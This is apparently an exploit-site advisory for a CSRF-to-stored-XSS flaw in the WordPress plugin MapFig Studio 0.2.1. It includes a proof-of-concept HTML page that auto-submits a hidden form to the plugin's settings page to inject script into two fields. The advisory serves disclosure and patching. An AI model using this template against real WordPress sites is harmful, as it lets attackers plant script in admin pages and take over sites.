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WordPress MapFig Studio 0.2.1 Cross Site Request Forgery / Cross Site Scripting Vulnerabilities

🗓️ 14 Aug 2024 00:00:00Reported by Vuln SeekerType 
zdt
 zdt
🔗 0day.today👁 164 Views

WordPress MapFig Studio 0.2.1 Cross Site Request Forgery / Cross Site Scripting Vulnerabilities. CSRF check and sanitisation missing, allowing admin to add Stored XSS payloads via CSRF attack

Code
# Exploit Title: MapFig Studio <= 0.2.1 - Stored XSS via CSRF
# Exploit Author: Vuln Seeker Cybersecurity Team
# Vendor Homepage: https://wordpress.org/plugins/mapfig-studio/
# Version: <= 0.2.1
# Tested on: Firefox
# Contact me: [email protected]

Description

The plugin does not have CSRF check in some places, and is missing
sanitisation as well as escaping, which could allow attackers to make
logged in admin add Stored XSS payloads via a CSRF attack

Proof of Concept

Have a logged in admin open a page containing:

<html>
  <body>
    <form action="http://example.com/wp-admin/admin.php?page=studio_settings"
method="POST">
      <input type="hidden" name="studio_apikey"
value=""><script>alert(1)</script>" />
      <input type="hidden" name="studio_url"
value=""><script>alert(1)</script>" />
      <input type="hidden" name="save" value="Save!" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>


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